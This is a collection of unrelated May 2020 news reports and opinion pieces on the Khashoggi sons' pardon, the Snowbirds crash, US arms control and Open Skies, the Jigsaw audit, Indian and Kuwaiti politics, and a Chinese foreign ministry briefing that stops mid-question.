Pews findings point towards the viability of such a shift: While the world has a low opinion of Trump and many of his policies, the United States itself remains popular, and that popularity is on a generational upswing. Other nations dislike the administrations trade war, withdrawal from the Iran nuclear deal, and immigration agenda, but that doesnt necessarily translate to dislike for the United States itself. (America remains the most aspirational destination worldwide for would-be emigrants.) With a less activist foreign policy and Washington refocused on core U.S. interests here at home, our international reputation could be further distinguished from the identity of our president.

Greater restraint abroad would also entail ending the half-dozen wars the last three administrations have fought across the Middle East and North Africa. Withdrawing from these conflicts does not mean relinquishing leadership, because there is no leadership in prolonging aimless, costly, inhumane wars which do nothing for security or peace. Leaving, even belatedly, would save us face, resources, and lives.

In place of this failed strategy of executive interventionism, Washington should make realistic diplomacy central to its foreign relations and refrain from interfering in the economic and cultural exchange that has made our country a superpower. Rather than pushing other nations to do our bidding via sanctions, propaganda, invasion, nation building, or covert coups, the United States should model the values we claim to embody.

Insofar as Trumps behavior is already shifting the balance of global power, some change to U.S. international relations is inevitable. The Atlantics Applebaum warns that U.S. allies in Europe and Asia may decide not to follow Washington into new antagonism, perhaps attempted retribution, against China. She adds that other nationsthe third world, if were to revive the old parlance for a new Cold Warmay decide to seek good relations with both sides. Well, what of it? None of this is actually bad news. Perhaps an absence of global support for escalating U.S.-China tensions could prevent an incredibly reckless and unnecessary conflict. And developing nations maintaining trade with both the U.S. and China may benefit all parties in a season of severe economic downturn.

The likely question, then, is not whether the United States should anticipate a new role internationally, especially vis-a-vis China. Change is almost certainly coming. The question is whether Washington can lean into the turn and use this moment as an opportunity to strategically reform U.S. foreign policy to our advantage.

Bonnie Kristian is a fellow at Defense Priorities, contributing editor at The Week, and columnist at Christianity Today. Her writing has also appeared at CNN, Politico, USA Today, the Los Angeles Times, Defense One, and The American Conservative. The views expressed are the author's own.
The sons of murdered Saudi journalist Jamal Khashoggi said Friday they 'forgive' the killers of their father, an announcement analysts said effectively grants clemency to five convicted people on death row.

Khashoggi - a royal family insider turned critic - was killed and dismembered at the kingdom's consulate in Istanbul in October 2018, in a case that tarnished the reputation of de facto ruler Crown Prince Mohammed bin Salman.

His family's pardon could spare the lives of five unnamed people sentenced to death over the murder in a December court ruling that exonerated two top aides to the crown prince.

'We the sons of martyr Jamal Khashoggi announce we forgive and pardon those who killed our father,' the Washington Post columnist's son Salah Khashoggi announced on Twitter.

Saudi authorities did not immediately comment on the legal ramifications of the announcement from Salah, who resides in the kingdom and has denied reports of a financial settlement with the government.

The CIA said it believed Crown Prince Mohammed bin Salman ordered Khashoggi's killing following critical pieces written by Khashoggi about the Saudi regime.

The tweet posted in Arabic said: 'In this blessed night of the blessed month (of Ramadan) we remember God's saying: 'If a person forgives and makes reconciliation, his reward is due from Allah.

'Therefore we the sons of the martyr Jamal Khashoggi announce we pardon and forgive those who killed our father, seeking reward God almighty.'

Jamal Khashoggi attending a press conference in the Bahraini capital Manama in 2014. He was brutally killed at the Saudi consulate in Istanbul in 2018

We the sons of martyr Jamal Khashoggi announce we forgive and pardon those who killed our father,' Salah, right, and Abdullah Khashoggi, left in 2018, said on Twitter

The tweet posted in Arabic said: 'In this blessed night of the blessed month (of Ramadan) we remember God's saying: 'If a person forgives and makes reconciliation, his reward is due from Allah.' 'Therefore we the sons of the martyr Jamal Khashoggi announce we pardon and forgive those who killed our father, seeking reward God almighty.'

'What this essentially means is that the killers will avoid capital punishment since that is a right the family (under sharia law) has to forgive,' Ali Shihabi, a Saudi author and analyst close to the government said on Twitter.

'Other legal procedures by the state continue.'

Analyst Nabeel Nowairah also said the family's declaration effectively means the 'murderers will not be executed'.

Salah has previously said he had 'full confidence' in the judicial system, and criticized opponents he said were seeking to exploit the case.

Khashoggi was last seen at the Saudi consulate in Istanbul on October 2, 2018, where he had gone to obtain documents for his impending wedding to his Turkish fiancee Hatice Cengiz.

His body was reportedly dismembered and removed from the building, and his remains have not been found.

Shortly after his death Khashoggi's two sons made an emotional appeal to have their father's body returned home during a sit-down with CNN.

'I really hope that whatever happened wasn't painful for him, or it was quick. Or he had a peaceful death,' Abdullah Khashoggi said.

The Washington Post reported last year that Khashoggi's children, including Salah, had received multimillion-dollar homes and were being paid thousands of dollars per month by authorities.

Salah rejected the report, denying discussing a financial settlement with the Saudi government.

Salah Khashoggi, left, shakes hands with Saudi Crown Prince Mohammed bin Salman during a meeting in October 2018 to discuss compensation for his father's murder

Khashoggi is pictured entering the Saudi embassy in Turkey on October 2 2018

Eldest son, Salah Khashoggi with his father Jamal in an undated photo

The murder caused a global uproar, tarnishing Crown Prince Mohammed bin Salman's image. Some Western governments, as well as the CIA, said they believed he had ordered the killing.

Saudi officials say he had no role, though in September 2019 MbS indicated some personal accountability, saying 'it happened under my watch'.

Out of 11 individuals indicted in the case - most of whom remain unnamed - five were sentenced to death, three face jail terms totaling 24 years and the others were acquitted, according to the public prosecutor.

The December verdict, which was lambasted by rights groups as a travesty of justice, underscored Saudi efforts to draw a line under the crisis as it seeks to reboot its international image ahead of this year's G20 summit in Riyadh.

The murder involved 15 Saudi agents sent from Riyadh, Ankara said.

Riyadh has described the murder as a 'rogue' operation, but both the CIA and a United Nations special envoy have directly linked Prince Mohammed to the killing, a charge the kingdom vehemently denies.

Khashoggi was hacked to pieces at the Saudi consulate in Istanbul in 2018. The CIA said it believed Crown Prince Mohammed bin Salman ordered his killing following critical pieces written by Khashoggi about the Saudi regime.

The suspects were put on trial in secretive proceedings in the capital Riyadh.

The trials were condemned by the United Nations and rights groups.

U.N. special rapporteur for extrajudicial summary or arbitrary executions, Agnes Callamard, accused Saudi Arabia of making a 'mockery' of justice by allowing the masterminds of the 2018 killing to go free.

However, Salah Khashoggi said of the December verdict that 'it has been fair to us and that justice has been achieved.'

Saudi prosecutors had said deputy intelligence chief Ahmed al-Assiri oversaw Khashoggi's killing and the US Treasury had claimed the royal court's media czar Saud al-Qahtani was 'part of the planning and execution' of the operation that led to the murder.

Qahtani was investigated but not indicted 'due to insufficient evidence' and Assiri was charged, but eventually acquitted on the same grounds, according to the public prosecutor.

Both aides were part of Prince Mohammed's tight-knit inner circle and were formally sacked over the killing, but only Assiri appeared in the court hearings, according to Western sources.
Police have registered an FIR after receiving a WhatsApp message threatening to kill Uttar Pradesh Chief Minister Yogi Adityanath.

The sender used objectionable language against Adityanath in the message sent on police headquarter's WhatsApp number, calling him a threat to particular community, a senior police officer said.

The unknown sender threatened to blow him up with a bomb, the officer said.

Senior officers were informed when the message was received around Thursday midnight.

An FIR was lodged at the city's Gomti Nagar police station.

Police are investigating if this was an act of mischief or a conspiracy, the official said.

They are looking into the call details of the number from which the message was sent, he said.

An arrest in the case is likely to take place soon, he added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Much of Catherine of Sienas life was defined by sickness and plagues. The future saint was born in 1347. The next year, the Black Death beganan epidemic that killed more than 20 million people over the next five years. Despite growing up surrounded by death, Catherine was unafraid.

When a plague struck again less than two decades later, the 20-something convinced her followers to stay and serve the sick. Catherine was relentless in her work. According to historian Philip Schaff she day and night, healed those of whom the physicians despaired, and she even raised the dead.

On this episode of Prayer amid Pandemic, Karen Scott, an associate professor of history and Catholic studies at DePaul University, explains how Catherines life was shaped by the aftermath of the Black Plague, why her actions to the suffering were so radical, and what the church can learn from her example today.

Thir Koirala, Nepal Micahs national coordinator, offers this episodes prayer.

Read Christianity Todays latest coronavirus coverage

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Follow the host on Twitter: Morgan Lee

Music by Urban Nerd Beats, Prod. Riddiman, and Oliver Duvel

Prayer amid Pandemic is produced by Morgan Lee, Mike Cosper, and Erik Petrik
Lt.-Col. Mike French and Capt. Jennifer Casey were soaring through the air, trying to bring hope to an anxious and fearful country with each dip and dive of their airplane.

Hey there, time traveller!

This article was published 22/5/2020 (608 days ago), so information in it may no longer be current.

Lt.-Col. Mike French and Capt. Jennifer Casey were soaring through the air, trying to bring hope to an anxious and fearful country with each dip and dive of their airplane.

French, commander of the Snowbirds  the official aerobatic team of the Royal Canadian Air Force  says he and Casey belted out Tragically Hip songs as they flew through the air, performing well-practised manoeuvres with the tight-knit team just last week.

Lt.-Col. Mike French is shown in a handout photo. French, the commander of the Snowbirds, says Capt. Jennifer Casey was talented colleague who organized the inspirational airshow tour where she was killed. THE CANADIAN PRESS/HO

Casey was an integral part of creating the team's Operation Inspiration tour for a country otherwise gripped by the COVID-19 pandemic, French says. And he still can't believe it ended with her death.

"It's been extremely difficult for everyone on the team," French told The Canadian Press. "You want to go into a period of seclusion and self-reflection."

Casey, a 35-year-old military public affairs officer, died Sunday after ejecting from a Snowbirds jet before it went down in a residential area of Kamloops, B.C. The pilot, Capt. Richard MacDougall, survived.

It was the eighth fatal crash in the 50-year history of the Snowbirds. The last was in 2008. In 2019, a Snowbirds jet crashed in the United States but the pilot safely ejected.

A team of military investigators is trying to determine the cause of Sunday's crash but it has left many questioning whether it's time to ground the team and its aging fleet.

"For me, to imagine a Canada Day without the Snowbirds flying over the Peace Tower is just not possible," French says.

"I've grown up with the Snowbirds my whole life. And for me to picture them not being around would be tragic."

The home base of the Snowbirds is in Moose Jaw, Sask., where one of the team's retired planes floats on a pedestal next to a giant statue of the city's mascot, Mac the Moose.

The site has become a makeshift memorial to Casey, where people have left flowers. Residents are also organizing upcoming events to honour the team.

The reputation of the Snowbirds has grown through performances at air shows across North America. The red, white and blue planes swirl through the sky in stunning formations, appearing unbelievably close to each other.

Flying above stadiums before Grey Cup games, racing through the sky during national ceremonies and stopping at local air shows from coast to coast has made the team a national symbol.

The Canadair CT-114 Tutor has a unique mix of engine control, balance and stability that gives it exceptional manoeuvrability, and is "pure bliss," French says.

The plane, which was used by the Forces as a jet trainer until 2000, is largely out of use in the aviation world. The jets were to be retired in 2010, but that was later extended to 2020.

French says it's hard to explain the impact the Snowbirds have on Canada.

The team is in a way an inspiration program, he says, encouraging children who see the planes rip through the sky to chase their own dreams.

French was one of those kids who rushed to see air shows in Abbotsford, B.C., and waited around to get autographs from pilots. It led him into the military, where he became a F-18 fighter pilot and a Snowbirds trainer.

He's in his third year as commanding officer of the Snowbirds. Every member is a highly-trained Forces member who competed for their position, French says.

Most of the year, team members spend all their time together practising routines, then touring across the country. They are more than colleagues, French says. They are family.

It also takes a very dedicated person who truly believes in the team's mission to become a Snowbird, French says. And Casey fit in immediately.

The former journalist joined the military as a direct entry officer in 2014. She worked with the CF-18 demo team before joining the Snowbirds in 2018.

French says the first time Casey went up in the air with the Snowbirds, it was clear she was the right fit for the team.

She was always three steps ahead of what anybody needed. She was creative, kind and hardworking.

"She was one of those people that you just love working with. She raised everybody's game," French says.

"Casey was one of the main reasons that Operation Inspiration was being perceived so well by Canadians. It was her drive and her determination to get us out there."

This report by The Canadian Press was first published May 22, 2020
A LIMERICK man has been extradited to the United States to face allegations of trafficking endangered rhino horns following an early morning arrest by 20 armed gardai, the High Court has heard.

John Slattery, 30, who changed his name to John Flynn by deed poll, of Old Barrack View, Fairhill, Rathkeale is accused of three offences of wildlife trafficking in the US.

At the HIgh Court this Friday, Mr Justice Paul Burns heard that Mr Slattery had been arrested in the early hours of the morning before the court hearing, even though he was still on bail, and that he was to be taken to a Texas prison.

Mr Slattery's bail was due to expire at midnight. It had been granted on condition that he present himself to Henry Street garda station in Limerick within 24 hours of being notified that surrender can take place.

A previous High Court hearing heard that Mr Slattery was willing to surrender himself to the US authorities to face the allegations but his extradition was delayed due to Covid-19.

US authorities allege that he and two others travelled to a taxidermy shop in Austin, Texas, to buy the horns. It is alleged that the men bought the horns for $18,000 and then travelled to New York and sold them for $50,000.

The men were initially unable to buy the horns because they were not local residents so they enlisted the help of a Texas man - a straw buyer - to complete the purchase, according to US authorities.

It is alleged that between April 2010 and November 2010 Mr Slattery bought two further horns from an individual for $10,000.

US authorities claim that in 2010 Mr Slattery and his co-accused travelled to an auction house in Macon, Missouri, where they allegedly obtained a consignment of horns from endangered white and black rhinos.

Mr Slattery had been granted bail in April by the High Court, having already spent nine months on remand, under a bond of 10,000, which was lodged.

During this Fridays High Court hearing, counsel for the Minister for Justice, Lisa Dempsey BL, confirmed to the court that Mr Slattery has been, today, surrendered to the US authorities.

Barrister Mark Lynam BL, for Mr Slattery, told the court that he was "uneasy about how matters have transpired".

Mr Slattery was taken from his home this morning by, I'm told, 20 armed gardai. - I'm hearing that, Mr Lynam told the court.

He was taken from his home and put on a plane. I'm very surprised it happened that way because Mr Slattery is someone who is in a high-risk category in respect of Covid-19. We're making inquiries about this because the gardai on the case-file knew nothing about it. We're just surprised that it happened. He's going to a prison in Texas and there's been a reported forty deaths in prisons in Texas in the last two weeks, and he's high-risk. I'm looking for clarity on what the plan was, he said.

Mr Justice Burns acknowledged Mr Lynam's comments, which were committed to the record.

Ms Dempsey said that while every case was different, this case was dealt with in a manner deemed appropriate by An Garda Siochana in relation to the surrender being effected successfully and there had been a garda objection [to the bail already granted], substantial bail money was lodged and I would deny anything untoward in that regard.

Mr Lynam said he was not suggesting anything untoward.

The bail money of 10,000 was ordered to be released back to Mr Slattery's family.
Downing Street has drafted in a senior aide to Prince William to oversee its coronavirus planning today.

Simon Case, has been made permanent secretary at No 10 following almost two years working as William's right hand man.

The 41-year-old mandarin has strong previous experience at the heart of politics, having been a senior adviser to both Theresa May and David Cameron.

His appointment comes amid reports of a 'tense' stand-off between Boris Johnson and Sir Mark Sedwill, the head of the Civil Service, over the confusing plans for easing of the lockdown.

Last week Tobias Ellwood, the Conservative chairman of the Defence Select Committee, said Sir Mark should stand down as Cabinet Secretary and head of the Civil Service to focus on coordinating the nation's coronavirus response.

The Prime Minister's official spokesman said: 'Simon is working on the coronavirus response in No 10 as a permanent secretary. Simon is with us temporarily from the Royal household.'

'He is specifically co-ordinating the coronavirus response. Coronavirus is obviously a very significant piece of cross-Government work.'

Mr Case will report to Cabinet Secretary Sir Mark Sedwill, the spokesman said.

Simon Case (above left in Christmas jumper, and right) has been made permanent secretary at No 10 following almost two years working as William's right hand man

His appointment comes amid reports of a 'tense' stand-off between Boris Johnson and Sir Mark Sedwill (pictured), the head of the Civil Service, over the confusing plans for easing of the lockdown

He served as principal private secretary to David Cameron when he was Prime Minister and his successor Theresa May during 2015-17.

Before he began working for William, in July 2018, he was Director General Northern Ireland and Ireland in the Department for Exiting the EU.

The duration of Mr Case's secondment will be agreed between the Cabinet Office and the Royal Household.

Some MPs believe Sir Mark is spread too thinly, especially given the current pressures associated with dealing with the deadly outbreak.

But Mr Ellwood was the first senior MP to break cover and openly ask for him to stand down.

He said the coronavirus crisis is placing 'untold demands on all governments well beyond the routine' and that decision-making processes therefore needed to adapt.

The Prime Minister and Sir Mark are said to have had a 'tense' standoff when the plans to ease restrictions were being discussed at a meeting earlier this month.

Mr Johnson apparently asked the room who was responsible for actually implementing the measures contained within the blueprint.

He asked Sir Mark if it was him, but the head of the Civil Service replied it was up to the PM to make sure things happen.

The claims came amid reports of growing splits between ministers and senior civil servants.

Mandarins fear they are being lined as coronavirus 'fall guys' ahead of an inevitable public inquiry into the Government's handling of the crisis.
The accounts of fashion chain Jigsaw's owner have been qualified by its auditors, the Daily Mail can reveal.

It is another blow to the fashion retailer, a favourite of the Duchess of Cambridge, who worked at the company before her marriage.

The business is controlled by Carphone Warehouse founder David Ross, 54, who took over in an attempted rescue deal two years ago.

Chequered career: Grimbsy-born businessman David Ross with ex-partner Shelley Ross

Accountants checking the books of Jigsaw's ultimate owner have raised a red flag over whether they give a true and fair view of the state of its finances.

The concerns centre around stock which Jigsaw's owners claim is worth more than 4.5million.

But the accountants said they were unable to verify that, and so they have given a rare 'qualified' audit opinion.

That is highly unusual and only occurs where auditors have very serious concerns. News of the warning on the accounts comes days after the Mail revealed that seven directors have left the Jigsaw board since the beginning of the year.

A boardroom exodus on this scale, leaving the company bereft of almost all its directors, is extremely rare, particularly at a time of crisis.

Like other retailers, Jigsaw has been devastated by the coronavirus. Following the departure of most of its board whilst already making losses, its future looks uncertain.

The audit bombshell is buried in the accounts of Jigsaw's ultimate parent company, Mountain Berg Holdings, an investment vehicle which is controlled by Ross.

Mountain Berg owns Jigsaw's immediate parent company, Robinson Webster, along with some workwear brands, property and other investments.

Auditor's rare (but blaring) siren A 'qualified' audit report may sound dull but in fact is a blaring siren. It means that the auditors cannot satisfy themselves that the accounts paint a true and fair picture of a company's finances. Qualified reports are very rare. The usual criticism is that the auditors fail to raise the alarm over looming scandals and that they turn a blind eye. Detractors say they have a conflict of interest because they earn millions of pounds in fees from the companies whose accounts they are supposed to check. Valuing stock at fashion companies is not that simple. The basic principle is that stocks are valued in the accounts either at cost price or the price they are expected to fetch, whichever is the lower. But in the fast moving world of fashion retail, with frequent sales and discounts, the likely selling price can be hard to determine. Stock valuation also proved controversial at fashion firm Ted Baker where auditors earlier this year found its inventory had been over-stated by 58million.

Unusually, despite being a multi-million-pound concern, Mountain Berg's auditors are a small firm of accountants based in Stamford, Lincolnshire, called Duncan & Toplis.

The accounts were filed at Companies House in March this year and cover the period from August 23, 2018, to December 31, 2018.

Senior auditor Mark Hindmarch issued the qualified audit report because he and his team were unable to verify stock at Jigsaw owner Robinson Webster that was valued at 4,573,145, plus a total of more than 5.9million at two other overseas companies. In total the auditors said they were 'unable to satisfy ourselves concerning the inventory quantities of 10,473,870.'

Put simply, the bean-counters raised doubts over huge stocks of clothing, valued at more than 10million.

The audit firm added that, where other numbers in the accounts relied on the inventory figures, they may also be 'materially misstated.' Robinson Webster's accounts were not qualified.

Based on the accounts  including the unverified stock figures  Mountain Berg made a profit of just under 5.5million for the twelve months to the end of 2018. It had net current liabilities of more than 136million.

The group's borrowings include 6million of revolving credit with Secure Trust Bank, which is secured against Jigsaw's stock and money owed to it from its concessions in department stores.

A Mountain Berg spokesman said: 'The inventory balances reported in these accounts have not needed to be adjusted. They accurately reflect the stock that was held by each of the companies in the group at the time.'

According to Mountain Berg's accounts, Jigsaw made a loss of 4million, not counting exceptional charges, in the year to the end of September 2018.

Losses continued at a similar level last year. Ross's plan was for a return to profitability in 2021 and in the meantime the documents state he is committed to providing support and funding.
The ruling Shiv Sena on Friday



said the Maharashtra BJP's agitation against the Uddhav Thackeray-led government during the COVID-19 pandemic will boomerang on the opposition party.

An editorial in the party mouthpiece 'Saamana' slammed state BJP president Chandrakant Patil for comparing the Maha Vikas Aghadi government's handling of the pandemic with Kerala's model.

"Looks like Patil hasn't studied the Kerala model. Kerala Chief Minister Pinarayi Vijayan doesn't follow Centre's guidelines and feels participating in video-conference meetings with Prime Minister Modi was a waste of time," the editorial claimed.

Instead of protesting in Maharashtra, Patil and former Chief Minister Devendra Fadnavis should instead stage their agitation in Kerala, the Marathi daily stated, taking a dig at the two senior BJP leaders.

There was a health emergency in the country and Prime Minister Narendra Modi was helming the fight against the COVID-19 pandemic, the publication said.

"If the opposition feels for the state and has any suggestions about fighting the pandemic, they should discuss it with the Chief Minister. Is the opposition party ashamed to do so or has it lost its self-confidence?" it questioned.

The editorial also highlighted the fact that although COVID-19 cases in the state were rising by the day, most of the patients were also recovering from the infection.

"If 10,000 patients have recovered, what does that indicate?" the editorial asked, citing the progress the state had made in fighting the virus.

The editorial went on to ridicule the BJP's 'Maharashtra Bachao' agitation, saying it was time to save the state from the opposition party.

Whatever issues the state BJP has raised was in the Central government's jurisdiction and the Chief Minister should send a delegation led by Fadnavis to the Centre with a list of demands from the state, the editorial suggested.

The BJP has been critical of the Shiv Sena-led government over its handling of the coronavirus crisis in the state, which has so far recorded 41,642 cases.

The BJP has asked its workers to hold black placards and wear masks of the same colour while registeringtheir protest on Friday without violating social distancing norms.

Indecisiveness and strategic errors of the Maharashtra government have aggravated the COVID-19 crisis in the state, Fadnavis said on Thursday and accused Chief Minister Uddhav Thackeray of over dependence on bureaucracy as he is "scared" of taking initiatives.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Source: Xinhua| 2020-05-22 21:41:49|Editor: huaxia

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KUWAIT CITY, May 22 (Xinhua) -- Kuwaiti Emir Sheikh Sabah Al-Ahmad Al-Jaber Al-Sabah on Friday called on media to shoulder responsibility to help defeat the coronavirus pandemic.

During a speech to the people of Kuwait on upcoming Eid al-Fitr festival, the emir expressed "deep regret for false reports and harmful rhetoric broadcast by the media and social media," saying that it does not conform with the current hard circumstances in the country.

"I call on everybody to ... be keen on playing a positive and responsible role in supporting joint efforts for annihilating this pandemic," the emir said.

He called for effective steps parallel to the requirements of the current phase and its ramifications.

"This can only be attained with cooperation and collaboration of efforts, shouldering the responsibility, depending on ourselves and placing the higher national interest above any other consideration," he added.

The emir expressed deep admiration and gratitude for all the people who have devoted themselves to containing the pandemic.

Kuwait on Friday reported 955 new cases of COVID-19 and nine more deaths, raising the tally of infections to 19,564 and the death toll to 138, the health ministry said in a statement. Enditem
As if the world werent messy and dangerous enough, President Donald Trumps arms control negotiator said Thursday that he is preparedeven revved upto launch an infinitely expensive nuclear arms race with Russia and China.

The president has made clear that we have a tried-and-true practice here, the special envoy, Marshall Billingslea, told a Washington think tank on Thursday. We know how to win these races, and we know how to spend the adversary into oblivion. He added that we sure would like to avoid it, but if we have to, we will.

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As a prelude to this campaign, Trump announced the same day that he was pulling out of the Open Skies Treaty, an arms control accord signed in 1992a fitting sequel to his earlier withdrawal from the Intermediate-Range Nuclear Forces Treaty, which Ronald Reagan and Mikhail Gorbachev signed in 1987. An even more vital deal, the New Strategic Arms Reduction Treaty (New START), signed by Barack Obama and Dmitry Medvedev in 2010, is set to expire in February.

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It would be one thing to threaten to set off another arms race if Trump wanted to extend New START and the Russians didnt. But in fact, its the other way around: Russian President Vladimir Putin has said hes keen to extend the treaty, while Trump has not said so. In fact, Billingslea has said that the U.S. wont sign an extension unless China joins the treatya strange demand, since China has roughly one-tenth the number of long-range nuclear weapons as Russia or the United States and no desire to build many more. In fact, looping the Chinese into a treaty calling for equality among its signatories might spur them to do so.

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It is senseless to rocket into a new arms race, regardless of whether we can win it, when we can avoid one by the simple act of extending New START .

A few things need to be said about Billingsleas jaw-gaping remark about the ease of winning arms races and spending adversaries into oblivion. First, actually, its not easy at all. The United States spent trillions of dollars throughout the Cold War, keeping up with real or imaginary threats from Soviet nuclear forces. We won the Cold War, but not by winning the arms race. The Soviet political system was exhausted by many factors: a stagnant economy, an overextended empire, the failed war in Afghanistan. Reagans first-term plan to build a Star Wars missile defense systemwhich many Russians were touchingly naive enough to believe might workplayed some role, but his second-term pivot to pursuing detente and arms treaties with Gorbachev, the new reformist Kremlin leader, played the decisive role.

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Second, with the COVID-19 crisis draining our treasury and hobbling our economy for years to come, its perhaps not the best time to boast of the leverage we gain from our endless supply of money. The Pentagon already plans to spend $1.7 trillion over the next 30 years to upgrade the U.S. nuclear arsenaland thats by simply replacing existing weapons with new ones while staying within New STARTs limits on the number of missiles, bombers, and warheads. There is growing pressure in Congress to cut defense spending generally, in the face of more urgent threats; there is likely less appetite still for expanding the nuclear arsenal.

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Third, our financial constraints might be mere inconveniences if we needed to expand our arsenal, but in fact no officer or official in a position of power is arguing that we need more long-range nuclear weapons. Some claim we need new or different weapons, but nobody argues that the 1,550 bombs and warheads permitted by New START are insufficient for the mission.

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In short, it is senseless to rocket into a new arms race, regardless of whether we can win it, when we can avoid one by the simple act of extending New START. Billingslea and others complain that Russia has cheated on most arms treaties. However, no one seriously argues that the country has violated New STARTthe most important treaty, as it limits the number of weapons that the U.S. and Russia can use to attack each other.

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New START also contains clauses that allow for inspections as well as bilateral forums to discuss suspected violations so each side can verify that the other is abiding by the treaty. If New START evaporates, so do those clauses. And well be back in the world that existed before the first strategic arms treaties were signed in 1972. Before then, each sides military would prepare for worst-case scenarios to justify its arguments to build more weapons. Arms control treaties allow each side to put boundaries on pessimistic intelligence projectionsand thus boundaries on the hawks voracious appetites.

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The Open Skies Treaty isnt as vital as New START, but its a useful accord, and scrapping it makes no sense. Signed in 1992 by the U.S., Russia, and 32 other countries, including 27 of the 30 NATO nations (Albania and Montenegro are the only holdouts), it allows signatories to fly unarmed reconnaissance planes over one anothers territory to monitor military activities.

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More than 800 flights have occurred since the treaty went into effect in 2002. Ukraine has invoked it several times to monitor Russian troop movements along its eastern borders. The few times Russia has refused permission, the U.S. delegation has allowed Ukrainians to come along on American overflights, which Russia has not blocked.

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The point of the treatywhich was first proposed by President Dwight Eisenhower back in 1955 (the Soviets rejected the idea)is to build confidence among nations, and it has served its purpose well.

Critics contend that Russia has exploited the Open Skies Treaty to take aerial reconnaissance photos of U.S. critical infrastructure, which it might later subject to a cyberattack. There are three problems with this argument. First, nations can take picture of whatever they want under Open Skies, but they also have to share the data with the other nations (as they have done). Second, if the Russians wanted to gather photos of U.S. infrastructure targets, they could do so just as easily from commercially available satellite photos.

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Finally, while the United States doesnt really need Open Skies to gather intelligence, as our satellites are plentiful and sophisticated enough on their own, our European allies do rely on the overflights, and they have not pulled out of the treaty.

In fact, senior American military officers like the treaty too. In October, when reports spread that Trump might sign a memo on his desk withdrawing from the accord, U.S. Strategic Command, which operates the overflights (and also controls the nuclear arsenal), tweeted that the command supports #OpenSkies Treaty by flying peaceful, unarmed flights over 30+ participating countries to observe military forces and activities. This helps build confidence & increase transparency.

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There was, in fact, little partisan pressure to trash Open Skies until John Bolton became Trumps national security adviser. Bolton has long been on record as opposing the very concept of international treatieseven international lawas a matter of principle. One of his aides, Tim Morrison, was the only official pushing to pull out of Open Skies, and he kept doing so even after Bolton was dismissed. He wrote the memo for Trump. Now an analyst at the conservative Hudson Institute, Morrison also wrote the op-ed in Fridays New York Times defending the pulloutwithout noting that he was the one whod proposed it.

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Morrison was once a staffer for Sen. Jon Kyl, who in 2010, as the Republican whip, pressured President Barack Obama to boost spending on nuclear weapons by tens of billions of dollars in exchange for supporting New STARTthen voted against the treaty anyway. I once asked a former aide to Kyl (not Morrison) for an explanation. The aide replied, He just doesnt like arms control.

Billingslea, Trumps arms control negotiator who is proposing a new arms race, is of the same stripe. He once worked as an aide to Jesse Helms, who, as the top Republican (and, in some years, chairman) of the Senate Foreign Relations committee, battled against every arms control treaty that came before Congress in the final two decades of the 20th century.

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In short, we are being ramrodded into an unnecessary nuclear arms race by Cold War ideologues who improbably still occupy positions of influence, abetted by a president who doesnt much like treaties either and Cabinet secretaries who have no principles and are inclined to go along with whatever the boss says. (The memo on withdrawing from the Open Skies Treaty landed on Trumps desk without any prior deliberations by the National Security Council, the Joint Chiefs of Staff, or any other body.)

One bit of good news on Open Skies: This years defense budget requires Trump to give Congress 120 days notice before pulling out of that treaty. If he pulls out before then, the relevant chairs of congressional committees can declare that his move was illegal. So if a new president takes the oath of office in January, he can resume the overflights as if nothing had taken place.
Foreign Ministry Spokesperson Zhao Lijian's Regular Press Conference on May 22, 2020

2020/05/22

At the request of the Peruvian government and in light of the country's practical needs, the Chinese government has decided to send a medical expert team to Peru. It is the second Chinese medical team to Latin America, which is organized by the National Health Commission and consists of experts selected by the Guangdong Provincial Health Commission. The team left for Peru on the early morning of May 22. It is expected to help the Peruvian side improve epidemic response and treatment, contribute Chinese strength to Peru's fight against COVID-19 and carry on the traditional China-Peru friendship. China also sent an expert team to Venezuela not long ago.

While keeping prevention and control measures at home, China will continue upholding the vision of a community with a shared future for mankind. By sharing anti-epidemic experience and know-how, providing medical supplies, facilitating commercial procurement and through other means, China will continue supporting Latin American and Caribbean countries in fighting the epidemics and safeguarding people's health and safety, and forging a China-Latin America community with a shared future with concrete actions.

The Paper: In accordance with the National Defense Authorization Act (NDAA) for Fiscal Year 2019, the Trump administration recently delivered to Congress its Strategic Approach to China, detailing the administration's implementation of the 2017 National Security Strategy of the United States of America (NSS) over the past two years or so. The report said since the US and China established diplomatic relations over four decades ago, the US engagement has failed to change China as expected, and China has posed challenge to the US national interests in various fields. It proposed that the US should continue with a whole-of-government approach against China. Do you have any comment?

Zhao Lijian: Just like the 2017 NSS, this new report deliberately distorts China's political system and strategic intention and hypes up the so-called "China threat", a pretext it uses to trumpet the continuation of all-dimensional hardline policy against China. In response to the US erroneous words and deeds to interfere in China's internal affairs and harm China's interests over the past two years or so, China has stated its solemn position multiple times and made firm, strong responses. Facts have proven that the US approach and policy following the Cold-War mentality and ideological prejudice has been fundamentally wrong from the very beginning, and thus doomed to fail. I would like to stress the following points.

First, since the People's Republic of China was founded 70 years ago, the Chinese people, under the strong leadership of the CPC, have found a development path in line with the country's national realities and achieved great progress to the amazement of the world, making contributions to world peace, stability and development. The past and reality have shown that the development path chosen by the Chinese people is entirely correct and we have every confidence in it. We will press ahead for greater victory while committed to socialism with Chinese characteristics. No one can stop China from growing stronger.

Second, after China and the US established diplomatic ties, the past 40 years or so have fully demonstrated that both sides stand to gain from cooperation and lose from confrontation. Cooperation is the only right choice. Neither side can change or replace the other. The so-called failure to engage or change China in the US report is nonsense. For two major countries with different national conditions to get along, they need mutual respect, equality and the approach of seeking common ground while shelving differences. The US also said in the report that it does not seek to contain China's development. We urge the US to match its words with deeds and earnestly respect China's core interests and major concerns instead of saying one thing and doing another.

Third, China's policy towards the US is consistent and clear. We are committed to working with the US side to realize the goal of no conflict or confrontation, mutual respect and win-win cooperation. At the same time, we firmly safeguard China's national sovereignty, security and development interests. If the US seeks dialogue and cooperation, we are here welcoming that. If they aim for containment and oppression, we will resolutely take countermeasures and the US will not have its way.

Fourth, China-US relations are now at a critical juncture. A stable and growing China-US relationship serves the fundamental interests of the two peoples and is what the international community is looking forward to. We urge the US side to abandon its Cold War mentality and ideological bias, follow the trend of the times, view China and China-US relations in an objective and rational way, immediately stop interfering in China's internal affairs, harming China's interests or undermining China-US relations, and work with China to bring bilateral relations back onto the right track.

CCTV: The US announced on May 21 that the US will withdraw from the Treaty on Open Skies because Russia didn't adhere to it. Secretary of State Pompeo said that the US administration will give official notice of its intent to exit the Treaty on May 22, effective in six months. The US may, however, reconsider its withdrawal should Russia return to full compliance with the Treaty. What is your comment?

